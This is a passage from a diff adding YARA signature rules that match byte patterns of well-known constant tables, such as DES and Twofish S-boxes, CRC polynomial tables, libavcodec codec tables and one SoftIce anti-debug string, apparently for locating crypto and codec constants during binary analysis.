+	$a0 = { bad3d26854fc4d192f71bc93749ccdb953f55102d3686bb8d26b6fbd4dd7296450f05d0dace98a268d8a0e83bfdcc6797090ddad52f655079ab352c84cd42d61ea238f65d56273a697a466f1d16e63b23355ccff51f359085bed712aa6f7a204de7f5f8148d83d75a8e59a3299b65ec7db704b903256c8fab7c4e651fc19d72be338ab489ebf42dc91ae7eef9bb056cde23baf4dbbd0d66d41c319586eb2a5cba5f2ae0bcb400bc06bbdb1da95a26efba1febe1ff308eb18b1cefe4f0206080acc4917dbc45137f31d277469143c5044c3582be863a591f2da734f955de769345fe1613edc79578b7d87e994cd4a13de7f81e19e5aee752f6cb4adc15ce46d31f704fb0c266a98beff1cdb24ed2a937ee825876f9dba4ed36fb1a1ce8e8f028c192b647da0fdba1af00de71789861e970f113c3307091c1bafec8629fb10cb3008182028153f54410d173439040c10140103040564ac8de9df7c5b84769ac5b3798bf980dd7a538e3d47f4c9163a584e3f41fcc33759dceb6db7a9c43848e0d8b9d6de677395d1a2e926836a355fd4e155ff491c7193d9a87b8df18a8c890a867296d5a788851a92f607ff092a7ea8823e42f8c65ee2653b27699cbb46ca05430c14303c65af89ec68b8bdd561a399f803050c0fc15e23e257f94116d6677fa9d976439a58e87d25d875479f66aa85e3d7647bac3a4ee8d2c84507cf3c44f0ccfa13cf3596a762f4a7f4a60198b55ac2ec29977bb8d5da62c7543bfcaeef822c69bbb9d04bdd317aabe0963da9e69e3767a981e60a1e282247c90146f20bef1db5c2ee5b226688aae532b356ee2f9f71bedfc27c2b7dac87819e3ebf1236485a839836b51b2d6c770e12383623658caff502f30645cf094c216384a5ce4f1fd149db39702c74b09cf916c33ae637bf59b6c7e2542878a08817395c4b829b32b01a2e68728b80169dfe1fdf218a831298091b242dc94603ca879426a14ed2256be13ea3422e72b896e431b753e03da747eb208b6090ad7aeaa4f1aa0e1e22786685922eab60a09dfd00000000256f94b1f401f703f10ee31294a16afe0b1d2c27e734bb5c759fc9bcef2c9b74345cd0e43153c4f5d46177a3d06d67b7869722a47e82e59badea8e23fd1ad32e297ba48d3050c0f03b4decd79fbc46d9f815c73fc6573ff913354c5f060a181e050f1411c55233f6113344557799c1b67c84ed917a8ef58f7888fd85365ad8ee1c24706c394be4dd59eb79201828607856fa4513b3c8f645b0cdfa4a246c90b4206080a0b2cbf24092ab72e0a3f8b615c05d27e744cc0d4962a695f710304050b4c1ea5e84912aae43c5115293a876e5c25b2fed4ade357fbddace738f8c06892d77b499bcd9ca769cb94ad66abeb5df40c01d5dcf4c1bd4a2fbb210809d3aba4fd1216e1f217c63ca430fc5aae3923842c61557 }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table2__flt64___64_lil_80_
+{
+strings:
+	$a0 = { 00000020d173fc3f000000a07c8afd3f000000e0d4abfe3f000000609322ff3f000000c0219bff3f00000060ef51fd3f00000040fb32fb3f000000409cf0f73f000000802f12f53f000000000000f03f }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab7__16_big_142_
+{
+strings:
+	$a0 = { FFBBFFBFFFC7FFD9FFE3FFEFFFF5FFF9FFFDFFFF00550045FFFF00540053FFFF00350044FFFDFFFF002500520015FFFBFFFF0051FFFF00050034FFFF0050FFFF00430033FFFBFFFDFFFF002400420014FFFF00410040FFF5FFF9FFFDFFFF00040023FFFF00320003FFFF00130031FFFDFFFF003000220012FFFBFFFF0021FFFF000200200011FFFF000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table3__flt32___32_lil_56_
+{
+strings:
+	$a0 = { 9444b140e630a84070949f40f4bc90404047834054f261401c7142406a54274082ff0f40f2d5f73f6c47d53f618ab73f95f29d3f60fb893f }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox1__32_big_256_
+{
+strings:
+	$a0 = { 01010400000000000001000001010404010100040001040400000004000100000000040001010400010104040000040001000404010100040100000000000004000004040100040001000400000104000001040001010000010100000100040400010004010000040100000400010004000000000000040400010404010000000001000001010404000000040101000001010400010000000100000000000400010100040001000000010400010000040000040000000004010004040001040401010404000100040101000001000404010000040000040400010404010104000000040401000400010004000000000000010004000104000000000001010004 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0xC96C5795D7870F42__64_big_refl_True_
+{
+strings:
+	$a0 = { 00000000000000003c3b78e888d80fe17876f1d111b01fc2444d893999681023750c207570b452a34937589df86c5d420d7ad1a461044d613141a94ce9dc42806ff9833db2bcc86153c2fbd53a64c780178f72eca30cd7a32bb40a042bd4d8421af5a348c2089ac226cedba04ad0952362835299d3b885005eb82a715b608ae15a12c5ac36adfde56629bd44be75f2042264347d271de2271e5f4c95afc5edc62f1ee5d94619af4613259d31cec1a0a75768140857a9b0846b536ce0df71bf6535eb46918411358409d03e790cc93a654d9db74095a12a4671a6cfa81d7925a740e766e4f4a567277cdc1e0c7c7d68c638919735e51578e504aaefdd6dcd770431c4488f3e8f96ed0dff3067b657990c49b2b95e2f3f892f7589c1b6a7e786ce44c868fa4e3bc44e78f31012c6e3cbaf3cbe992b5f8bdb8c0085e1c3d753d46d5e3dcbb28c335e8c6206b35a04eb516d264b3a639d83414e1a70428b155b4eaf2b31ebc7fc870c2f170a932f745f03ce53471a16ed3713ed6f7c62fe65ef1c0c6bd68d2308226b0857edf5cb80fa64e913a07cf2199274ca2f9b041a914a7b2b1edaad56789639ab22e1d5bef04e364a66ac5c87692626695a97246fe1fe2988042f0e1eba9ea369381476f63246ac887c59ffcfab2ebcab4062872723f6b34a71232e6bca2af1ca4d18568342f2fe2b0955dfbadb9aee08356ea7525342e1e96388911e7d1f2dda5fb3e9f6f5c7223b1bfe60cf6caf321827c51827e4773df91684b16b0dab7f792abfc983857370986ef240ba1c1b60bb52c9385294c36f5a0c711223cfa3e5bb304a6acb477bea5a7407e3f2de13fa79483c9b1a56cbf598797d3256bf17b71845464abe37cfb8f9010bc387aea7a8da3d30bb6f267fa73b399a54b24bb2d03f05a12c5ac36adfde41eca5635a02cffd7dd7dd8bd2dac01c4c9674c73b06829c70ad0c2fb3de8d7d34e085162ab69d5e08dbfdfea26e92bf5663d78ff90e185e6a58af6771d617bf2e15265ee8be079c122e5eb66066087d236ff7fa89ba4afd1f548f120162451c5b19062b980a553f67227ec310d25ade524cd9914390bb376e77a179cb48b4d62a3a28405220a4f5160150a8daf8ab142740f9e43324e9941b7b810cbbfce6755f3608352294f656630d70ddaa4cf9b73db55aacf12c7356018e224479f47cb745c3ab7de09c6c9479f8d3956844637548b97ad9819821f57482023109402e1430cf8b0890283e370cf4f3e018f031d6085e1c3d753d46d2346564d5fde549337028edec648d59104c139504ec5556f17d523c4805891471416944a08d511b900524cd9914390bb3391fb5719ce1045267a79f00c7818eb35b9ce7e84f5981521fd16ed1d631917123ea16395ee99e9012abbf75b735dc102e90c79d3fedd3f16add4ea4a685c3d256e6364c2e5dcc3342f0e1eba9ea36937ecb9903213239723a86103ab85a295106bd68d2308226b037fcc19ed95e64300bc7b97651866bd14f8a304fc8ee7bf273b148a7403674132d0962d61b56fef211321a3e938ef113557f93070ae6e1306944ebef823eeed1580542a36be2ac51643e3a4be33aa3b02073b3727a52b3931c48cb9af28abc7218e224479f47cb7624d95caf179fc4976094d5968ef7d4b45cafad7e062fdb556dee0432eff399d551d57cda672b96341598f5e3fe43861729a38d0b769b89f6771ba77a2dfb03174b20df92a5230cf60f6d56ab3c4b1cd533562e43b49313340217870f5d4f51b43e2cffe7d5975e557a6176de4cff4e76465a0e36c42741977334a9649765a07e4f0fd18c1fbdaf9f0b4258b586d5bfbc3779205d0e0db05d06388911e7d1f2dd3a03f1f96f09fd3c7e4e78c0f661ed1f427500287eb9e2fe1ccd2a5925d9681f20f652b1ad0167fe64bbdb88346977dd5880a360bcb1783c69c10a2c556d3abc55fa72c4ddb5355d11b7fbfd44dd257e2d8c8315cc052a9f29266cc8a1c85d9b151d14202910527a51509d19b07842596d6be5f138a04db85c2a4cbdd17c0f386011345559a400d9245cbd6cc0cc10fa1867c58448141f1b46dfeff5137495fa7ae4971d9bac9a1b3ea91e2402c48a38029266cc8a1c85d933d3cf8063c0c7590fe8b768eb18c8b84ba53e517270d89b779e46b9faa8d77a217870f5d4f51b491d43081d5c2d14a8590e8124c545048b6535f9cc4d9d0b6a54745080a44149ea684f28682c99460b2c02a151b5f156281039d9b93d2959c94e81f3c86649d32872ba8b20ee91dcc936f7021977f9ccea0acc7af1ff21c30b3b8dd3bd16fd818b07b6ab559e258e6a43fb226c074d9e497fc05a848f9591a87b6ab559e258e6ac4751cdb16a80e94d031c4488f3e8f96e3f273c607b30f68f0e66952c92ecb40f325dedc41a34bbee761064fd835cabcd4a2b1c150b84a42c1493366450e42ecd28a84e8cd83c212c6ce5c7b54154310f50debf5dc98c3eee619f161120507c6e5da46ef9a888738f19e9e7c031e063ac25d29f28b9386c4d10bc387aea7a8da42c87409262a2824568cac9abfbca926654f1b14373129d8765b0180f9acedf07598b60e71216d0e61dc6e9de8b7ec0c521fd913603a6cf247f45bb4758c645c5437ec3afd01e4a2407334a9649765a073b08327ec1ae55e60a499b32287217663672e3daa0aa1887723f6ae339c208a44e04120bb11a07454aaefdd6dcd770417695853e540f7fa032d80c07cd676f830ee374ef45bf60623fa2dda3ac6322e20399a54b24bb2d0347d42c72bdd33d207bef549a350b32c125577eeb6e6bb820196c0603e6b3b7c15d218f3a7fdba7e2611af7d2f703a803505b5e9e1edfea836c6026769607e562282daf4f0f6ff5411416d7a787b7faa0 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0xD800000000000000__64_big_refl_True_
+{
+strings:
+	$a0 = { 00000000000000000000000000000007000000000000000e0000000000000009000000000000001c000000000000001b00000000000000120000000000000015000000000000000f00000000000000080000000000000001000000000000000600000000000000130000000000000014000000000000001d000000000000001a000000000000001e00000000000000190000000000000010000000000000001700000000000000020000000000000005000000000000000c000000000000000b00000000000000110000000000000016000000000000001f0000000000000018000000000000000d000000000000000a00000000000000030000000000000004000000000000000b000000000000000c00000000000000050000000000000002000000000000001700000000000000100000000000000019000000000000001e00000000000000040000000000000003000000000000000a000000000000000d0000000000000018000000000000001f0000000000000016000000000000001100000000000000150000000000000012000000000000001b000000000000001c0000000000000009000000000000000e00000000000000070000000000000000000000000000001a000000000000001d00000000000000140000000000000013000000000000000600000000000000010000000000000008000000000000000f000000000000001600000000000000110000000000000018000000000000001f000000000000000a000000000000000d000000000000000400000000000000030000000000000019000000000000001e0000000000000017000000000000001000000000000000050000000000000002000000000000000b000000000000000c0000000000000008000000000000000f0000000000000006000000000000000100000000000000140000000000000013000000000000001a000000000000001d000000000000000700000000000000000000000000000009000000000000000e000000000000001b000000000000001c00000000000000150000000000000012000000000000001d000000000000001a0000000000000013000000000000001400000000000000010000000000000006000000000000000f000000000000000800000000000000120000000000000015000000000000001c000000000000001b000000000000000e00000000000000090000000000000000000000000000000700000000000000030000000000000004000000000000000d000000000000000a000000000000001f000000000000001800000000000000110000000000000016000000000000000c000000000000000b0000000000000002000000000000000500000000000000100000000000000017000000000000001e0000000000000019000000000000001b000000000000001c00000000000000150000000000000012000000000000000700000000000000000000000000000009000000000000000e00000000000000140000000000000013000000000000001a000000000000001d0000000000000008000000000000000f0000000000000006000000000000000100000000000000050000000000000002000000000000000b000000000000000c0000000000000019000000000000001e00000000000000170000000000000010000000000000000a000000000000000d00000000000000040000000000000003000000000000001600000000000000110000000000000018000000000000001f00000000000000100000000000000017000000000000001e0000000000000019000000000000000c000000000000000b00000000000000020000000000000005000000000000001f00000000000000180000000000000011000000000000001600000000000000030000000000000004000000000000000d000000000000000a000000000000000e00000000000000090000000000000000000000000000000700000000000000120000000000000015000000000000001c000000000000001b00000000000000010000000000000006000000000000000f0000000000000008000000000000001d000000000000001a00000000000000130000000000000014000000000000000d000000000000000a0000000000000003000000000000000400000000000000110000000000000016000000000000001f000000000000001800000000000000020000000000000005000000000000000c000000000000000b000000000000001e00000000000000190000000000000010000000000000001700000000000000130000000000000014000000000000001d000000000000001a000000000000000f000000000000000800000000000000010000000000000006000000000000001c000000000000001b0000000000000012000000000000001500000000000000000000000000000007000000000000000e0000000000000009000000000000000600000000000000010000000000000008000000000000000f000000000000001a000000000000001d000000000000001400000000000000130000000000000009000000000000000e0000000000000007000000000000000000000000000000150000000000000012000000000000001b000000000000001c0000000000000018000000000000001f0000000000000016000000000000001100000000000000040000000000000003000000000000000a000000000000000d000000000000001700000000000000100000000000000019000000000000001e000000000000000b000000000000000c00000000000000050000000000000002 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv30_modulo_three_table__8_byt_432_
+{
+strings:
+	$a0 = { 000000000000000100000002000001000000010100000102000002000000020100000202000100000001000100010002000101000001010100010102000102000001020100010202000200000002000100020002000201000002010100020102000202000002020100020202010000000100000101000002010001000100010101000102010002000100020101000202010100000101000101010002010101000101010101010102010102000101020101010202010200000102000101020002010201000102010101020102010202000102020101020202020000000200000102000002020001000200010102000102020002000200020102000202020100000201000102010002020101000201010102010102020102000201020102010202020200000202000102020002020201000202010102020102020202000202020102020202030000000300000103000002030001000300010103000102030002000300020103000202030100000301000103010002030101000301010103010102030102000301020103010202030200000302000103020002030201000302010103020102030202000302020103020202 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Softice_C__ntice_nmtrans_dll__8_byt_STR_21_
+{
+strings:
+	$a0 = { 433a5c6e746963655c6e6d7472616e732e646c6c00 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h263_inter_vlc__16_big_412_
+{
+strings:
+	$a0 = { 00020002000f00040015000600170007001f000800250009002400090021000a0020000a0007000b0006000b0020000b0006000300140006001e0008000f000a0021000b0050000c000e0004001d0008000e000a0051000c000d000500230009000d000a000c0005002200090052000c000b0005000c000a0053000c00130006000b000a0054000c00120006000a000a001100060009000a001000060008000a001600070055000c0015000700140007001c0008001b00080021000900200009001f0009001e0009001d0009001c0009001b0009001a00090022000b0023000b0056000c0057000c00070004001900090005000b000f00060004000b000e0006000d0006000c000600130007001200070011000700100007001a00080019000800180008001700080016000800150008001400080013000800180009001700090016000900150009001400090013000900120009001100090007000a0006000a0005000a0004000a0024000b0025000b0026000b0027000b0058000c0059000c005a000c005b000c005c000c005d000c005e000c005f000c00030007 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_1_hi_filter__flt32___32_big_36_
+{
+strings:
+	$a0 = { 3ca29b8e3d30801abd548872be9622663f1054f2be962266bd5488723d30801a3ca29b8e }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_NIST_CHAR2_233B_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 74d59ff07f6b413d0ea14b344b20a2db049b50c3 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_6__16_big_386_
+{
+strings:
+	$a0 = { 40003f0b3e163d213c2d3b3a3a473955386337733683359534a733bb32d031e730fe30162f2f2e4b2d672c872ba82acc29f129192841276e269b25cd24ff24342369229e21d3210b20441f831ec21e081d4e1c991be41b351a8619dd1934189217f0175016b01617157f14ec145913cd134112ba123411b4113410ba10400fc90f520edb0e640df00d7c0d0f0ca20c3b0bd50b730b110ab50a590a0309ad095c090c08bc086d082307d90794074f070f06cf06930657061f05e705b3057f054d051b04e904b704870457042b03ff03d703af0389036403420320030102e202c502a9028d02710258023f0228021101fc01e701d201bf01ac019a018801780168015801480139012a011b010c00ff00f200e600da00cf00c400ba00b000a7009e0096008e0087008000790072006c00660061005c00570052004e004a00460042003e003a00360032002f002c0029002600230020001e001c001a00180016001400120010000e000d000c000b000a0009000800070006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_iweight_248__32_lil_256_
+{
+strings:
+	$a0 = { 0080000047450000464100009f460000254900009853000047450000fc4a0000a44a00005555000000400000474500002549000098530000464100009f460000264f0000855a000015470000ec4c000025490000264f00004f510000d45c000047450000fc4a0000a44a000055550000264f0000855a000015470000ec4c000098530000895f0000544b00008351000098530000855a0000015600006762000025490000264f00004f510000d45c000098530000895f0000544b000083510000895f00003a6d0000cd5800001860000073650000ca73000098530000855a00000156000067620000895f00003a6d0000cd5800001860000073650000ca730000 }
+
+condition:
+	$a0
+}
+
+	
+rule Zodiac_SS2__32_big_1024_
+{
+strings:
+	$a0 = { 002d000000f30000007c0000006d0000009d000000b50000002600000074000000f20000009300000053000000b0000000f000000011000000ed0000008300000078000000b60000000300000016000000730000003b0000001e0000008e00000070000000bd000000860000001b000000470000007e0000002400000056000000f100000077000000880000004600000097000000b1000000ba000000a3000000b7000000100000000a000000c500000037000000b3000000c90000005a00000028000000ac00000064000000a5000000ec000000ab000000aa000000c60000006700000095000000580000000d000000f80000009a000000f60000006e00000066000000dc000000050000003d000000d30000008a000000c3000000d8000000890000006a000000e9000000360000004900000043000000bf000000eb000000d4000000960000009b00000068000000a0000000650000005d00000057000000920000001f000000d5000000710000005c000000bb00000022000000c1000000be0000007b000000bc0000009900000063000000940000005f0000002a00000061000000b8000000340000003200000019000000fd000000fb0000001700000040000000e6000000510000001d00000041000000440000008f00000029000000dd0000000400000080000000de000000e700000031000000d60000007f00000001000000a2000000f700000039000000da0000006f00000023000000ca000000fe0000003a000000d00000001c000000d1000000300000003e00000012000000a1000000cd0000000f000000e0000000a8000000af00000082000000590000002c000000f50000007d000000ad000000b2000000ef000000c200000087000000ce00000075000000060000001300000002000000900000004f0000002e000000720000003300000085000000c00000008d000000cf000000a900000081000000e2000000c4000000270000002f0000006c0000007a0000009f00000052000000e100000015000000380000002b000000fc0000002000000042000000c700000008000000e400000009000000550000005e0000008c000000140000007600000060000000ff000000df000000d700000098000000fa0000000b00000021000000000000001a000000f9000000a6000000b9000000e80000009e000000620000004c000000d90000009100000050000000d2000000ee00000018000000b40000000700000084000000ea0000005b000000a4000000c80000000e000000cb00000048000000690000004b0000004e0000009c0000003500000079000000450000004d00000054000000e5000000250000003c0000000c0000004a0000008b0000003f000000cc000000a7000000db0000006b000000ae000000f4000000e30000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x86d3d2d4__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000e2d1ae0cc4a35d192672f3158847bb326a96153e4ce4e62bae354827d319e13331c84f3f17babc2af56b12265b5e5a01b98ff40d9ffd07187d2ca91465a555318774fb3da106082843d7a624ede2ee030f33400f2941b31acb901d16b6bcb402546d1a0e721fe91b90ce47173efb0f30dc2aa13cfa5852291889fc2509dc3c34eb0d9238cd7f612d2faecf21819b8706634a290a4538da1fa7e97413dac5dd073814730b1e66801efcb72e1252826635b053c83996213b2c74f095206c7969058ea8c709a8da341c4a0b9a10e43ed23706ef7c3b209d8f2ec24c2122bf6088365db1263a7bc3d52f99127b2337273304d5f69d08f3846e1d1155c011d12eee3e33ff4032158db327f75c1d2b5969550cbbb8fb009dca08157f1ba61902370f0de0e6a101c69452142445fc188a70b43f68a11a334ed3e926ac02472ab48bbb0f565a15037028e61692f9481a3ccc003dde1dae31f86f5d241abef32867925a3c8543f430a331072541e0a929efd5e10e0d044f022b76bc17c9a7121bd8f2d20a3a237c061c518f13fe80211f50b56938b264c7349416342176c79a2d0beb3339e93a9d35cf486e202d99c02c83ac880b617d2607470fd512a5de7b1ebd57873b5f86293779f4da229b25742e35103c09d7c19205f1b361101362cf1c6e4e66088c9fc804aaed3b11483c951de609dd3a04d8733622aa8023c07b2e2f61cb4b2b831ae527a568163247b9b83ee98cf0190b5d5e152d2fad00cffe030cb2d2aa18500304147671f70194a0590d3a95112ad844bf26fe364c331ce7e23f046e1e1ae6bfb016c0cd4303221ced0f8c29a5286ef80b24488af831aa5b563dd777ff2935a6512513d4a230f1050c3c5f30441bbde1ea179b9319027942b70e6817771f8ac6d913acb42a064e65840ae050cc2d0281622124f39134c6223f38bb0e962c59df38207fadcb359d7c653933492d1ed1988312f7ea7007153bde0b0db2222eef638c22c9117f372bc0d13b85f5991c672437104156c405a3876a09deabc31d3c7a6d111a089e04f8d9300856ec782fb43dd623924f2536709e8b3ab0e5a51552340b197446f80c9697560038a21e27da73b02bfc01433e1ed0ed3263fc4426812dea2aa75f193f458eb733ebbbff14096a51182f18a20dcdc90c01d540f02437915e2811e3ad3df33203315d074b16bfd6e51a99a4160f7b75b80306591117e488bf1bc2fa4c0e202be2028e1eaa256ccf04294abdf73ca86c5930b93999215be8372d7d9ac4389f4b6a34317e2213d3af8c1ff5dd7f0a170cd1066a20781288f1d61eae83250b4c528b07e267c32000b66d2c26c49e39c4153035dc9ccc103e4d621c183f9109faee3f0554db7722b60ad92e90782a3b72a984370f852d23ed54832fcb26703a29f7de3687c296116513381d4361cb08a1b06504 }
+
+condition:
+	$a0
+}
+
+	
+rule twofish_q1__8_byt_256_
+{
+strings:
+	$a0 = { 75f3c6f4db7bfbc84ad3e66b457de84bd632d8fd3771f1e1300ff81b87fa063f5ebaae5b8a00bc9d6dc1b10e805dd2d5a0840714b5902ca3b2734c549274365138b0bd5afc6062966c42f7107c28278c13959cc724463b70cae385cb11d093b8a68320ff9f77c3cc036f08bf40e72be2790caa82413aeab9e49aa4977eda7a176694a11d3df0deb30b72a71cefd1533e8f33265fec762a498188ee21c41aebd9c53999cdad318b011823dd1f4e2df9484ff2658e785c58198de59857677f0564af63b6fef5b73ca5cee96844e04d4369292eac1559a80a9e6e47df34356acfdc22c9c09b89d4edab12a20d52bb022fa9d7611eb45004f6c2162586565509be91 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc_SCF__flt64___64_big_1024_
+{
+strings:
+	$a0 = { 40733547e0000000406fffffe0000000406aa7c700000000406634132000000040627eb960000000405ecfde000000004059aa70e00000004055610ce00000004051cef200000000404dab06c00000004048b682a0000000404495dc60000000404125b140000000403c910ec00000004037cba2c00000004033d23700000000403082b900000000402b818e800000004026e97b00000000402315d500000000401fcb9b80000000401a7c22c000000040160fb8e00000004012607180000000400e9d6bc00000004009806b8000000040053e0c200000004001b1c9c00000003ffd7a73a00000003ff88e0c600000003ff47428200000003ff1099e000000003fec6249200000003fe7a4ace00000003fe3b1c3000000003fe067b0a00000003fdb5485600000003fd6c3f7800000003fd2f695600000003fcf978c600000003fca50c5800000003fc5eb99c00000003fc2425ae00000003fbe6b4b600000003fb956aa600000003fb51b44600000003fb194d1200000003fad4a2fe00000003fa865d8400000003fa452ab000000003fa0edb8c00000003f9c33d0000000003f977df6e00000003f939184200000003f904cd4800000003f8b27c6000000003f869eb1600000003f82d789000000003f7f63d2c00000003f7a25af800000003f75c7b5e00000013f722475800000003f6e397d3fffffff3f692d2dc00000003f64f8b5a00000003f617808000000003f5d1a3b200000013f583de6000000013f543164c00000003f50d2013ffffffe3f4c05a3400000013f4757805fffffff3f43717a200000023f403224600000013f3afb4ffffffff93f3679a85ffffff73f32b8af7ffffffe3f2f306dc00000043f29fadfe00000063f25a40cbffffff43f2206c1200000003f1e0800a000000b3f1903f5200000033f14d65f5ffffffe3f115b6de00000003f0cea94c00000393f081635000000453f041054c00000023f00b676e000002f3efbd7c19fffffd33ef731487fffff7e3ef351a4600000333ef0179fbfffff973eeacf225fffffe53ee654db9fffff9e3ee29a083fffffb13edefd5c7ffffedc3ed9d056200000ba3ed5809de00001173ed1e93d400000723ecdd6d4bffffeec3ec8daff9ffffee83ec4b441400003b23ec13f027ffffe5c3ebcbb3c400000213eb7eec4dfffffb03eb3ef7adffffcbc3eb09b199ffff9dd3eabaa2b200005313ea70b4f40000d0d3ea33202c00008643e9ffa8d3fffe9d33e9aa33d400020d33e96304b5fffeb3c3e927b933fffe8253e8eca9effffe6803e89a6122000168d3e855d69000017ff3e81cbe9c00026733e7da5f9a00090de3e78b24d800059723e74925b1fffdb8a3e7122c5c00059823e6c8c317fffd71a3e67c7957fffc84d3e63ced6fffefdbe3e607fe95fffb05a3e5b7cdf9fff9e09 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpeg4_intRA_rvlc__16_big_680_
+{
+strings:
+	$a0 = { 0006000300070003000a000400090005001400060015000600340007007400080075000800dd000900ec000901ec000a01ed000a01f4000a03ec000b03ed000b03f4000b077d000c07bc000c0fbd000d0fdc000d07bd000c0fdd000d1fbd000e1fdc000e1fdd000e1ffc000f0001000400080005002d0007006c0008006d000800dc000901dd000a03dc000b03dd000b077c000c0fbc000d1f7d000e1fbc000e00040005002c000700bc000901dc000a03bc000b03bd000b0efd000d0f7c000d0f7d000d1efd000e1f7c000e00050005005c000800bd0009037d000b06fc000c0efc000d1dfd000e1efc000e1ffd000f000c0006005d000801bd000a03fd000c06fd000c1bfd000e000d0006007d000902fc000b05fc000c1bfc000e1dfc000e001c0007017c000a02fd000b05fd000c2ffc000f001d0007017d000a037c000b0dfd000d2ffd000f003c000801bc000a0bfd000d17fd000e003d000801fd000b0dfc000d37fc000f007c000903fc000c00fc000a0bfc000d00fd000a37fd000f01fc000b07fc000d07fd000d0ffc000e0ffd000e17fc000e3bfc000f000b00040078000803f5000b0fec000d1fec000e0012000500ed000907dc000c1fed000e3bfd000f0013000503f8000b3dfc000f0018000607dd000c0019000607ec000c002200060fed000d002300060ff4000d003500070ff5000d003800070ff8000d003900070ff9000d004200071ff4000e004300071ff5000e007900081ff8000e008200083dfd000f0083000800f4000900f5000900f8000900f90009010200090103000901f5000a01f8000a01f9000a0202000a0203000a03f9000b0402000b0403000b07ed000c07f4000c07f5000c07f8000c07f9000c0802000c0803000c1002000d1003000d1ff9000e2002000e2003000e3efc000f3efd000f3f7c000f3f7d000f00000004 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_quant_centroid_tab__flt64___64_big_784_
+{
+strings:
+	$a0 = { 00000000000000003fd916872b020c4a3fe85a1cac0831273ff1eb851eb851ec3ff7a1cac083126f3ffd4fdf3b645a1d400176c8b4395810400453f7ced91687400724dd2f1a9fbe4009f5c28f5c28f6400cc8b439581062400f89374bc6a7f0401126e978d4fdf44012e5604189374c00000000000000003fe16872b020c49c3ff0f5c28f5c28f63ff9020c49ba5e3540008b43958106254004916872b020c540089374bc6a7efa400c7ef9db22d0e5401047ae147ae14840127ae147ae147b000000000000000000000000000000000000000000000000000000000000000000000000000000003fe7df3b645a1cac3ff76c8b43958106400170a3d70a3d7140070e5604189375400cac083126e97940114395810624dd000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003ff0189374bc6a7f40000000000000004007f1a9fbe76c8b400fe147ae147ae100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003ff522d0e560418940059fbe76c8b439400fdd2f1a9fbe77000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003ffa83126e978d50400bed916872b0210000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003fff6c8b43958106000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Squash_table_used_in_PAQ7_compression__32_lil_132_
+{
+strings:
+	$a0 = { 010000000200000003000000060000000a000000100000001b0000002d0000004900000078000000c200000036010000e8010000eb0200004d0400000a060000ff070000f5090000b20b0000140d0000170e0000c90e00003d0f0000870f0000b60f0000d20f0000e40f0000ef0f0000f50f0000f90f0000fc0f0000fd0f0000fe0f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule TIFF_mkg3states_TermB__16_lil_260_
+{
+strings:
+	$a0 = { b0030a00020013000300220001003200060043000c005400040064001800750028008600080096001000a7005000b7007000c7002000d800e000e8003000f900a0030a0160001a0140002a0130073b01b0004b01b0015b0160076b01a0007b0140078b01c0009b013005ac01300dbc013003cc01300bdc016001ec016009fc0160050c02600d1c02b0042c02b00c3c02b0024c02b00a5c02b0066c02b00e7c0260038c02600b9c02b005ac02b00dbc02a002cc02a00adc02a006ec02a00efc0260020c03600a1c03a0042c03a00c3c0340024c03c00e5c03c0016c03400e7c0340018c03a0019c03a009ac03400dbc034003cc03a005dc036006ec03600efc0300000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_15_CAN_poly_0x4cd1__16_big_refl_True_
+{
+strings:
+	$a0 = { 000036e56dca5b2fdb94ed71b65e80bba14d97a8cc87fa627ad94c3c171321f654ff621a39350fd08f6bb98ee2a1d444f5b2c3579878ae9d2e2618c343ec7509a9fe9f1bc434f2d1726a448f1fa0294508b33e566579539cd327e5c2beed8808fd01cbe490cba62e269510704b5f7dba5c4c6aa93186076387d8b13dea12dcf74599737c28531eb69e0da8e8f3c7c522e4d4d231891ebffb3f4009a5528a646f116627837cac4a49caf2fc17a73891ddb02b86cedde1eb046bbf5d5a06753090ec67da8281adb74837f301165a396cdc4d2a7bcf20e0160596bea05bfb74cd91b8988e7dd552e3b7630c55e90ec6382319d52f30741f42fac241f4a4af8b996e8b32bdd7e6f8d01d50a666433d6c0b892a7f1c9a47b57150f1ebc70e9c21aac4dfcde928b20784e2045932bc69935f767e804865134a25afa51493f1c8defe3b22cc14294f0679e3f958cfbd9492a2778381b564ee4bd8ae58156ef035df033a763340d61bf92d1cada79b42c06df688d77ee19bbab48c510cea3a0f612057c5ceabf84ea3619584153f23da78f54e106fe65903022c34c9b4728297d9b8ef5d9a54acb1f79ec17b41c077252c0a1aef3b190dfc56d36036e08dd6688d47bba2675551b00a9f3c7abcc18a24d10be7eec618f0fdabd29d371d8c2b69704646a333aa054f5e606885e83ededb85f4b31192e7a402ff2dc9c849737f9624b9125c }
+
+condition:
+	$a0
+}
+
+	
+rule few_first_primes_prime__redoc3___32_big_140_
+{
+strings:
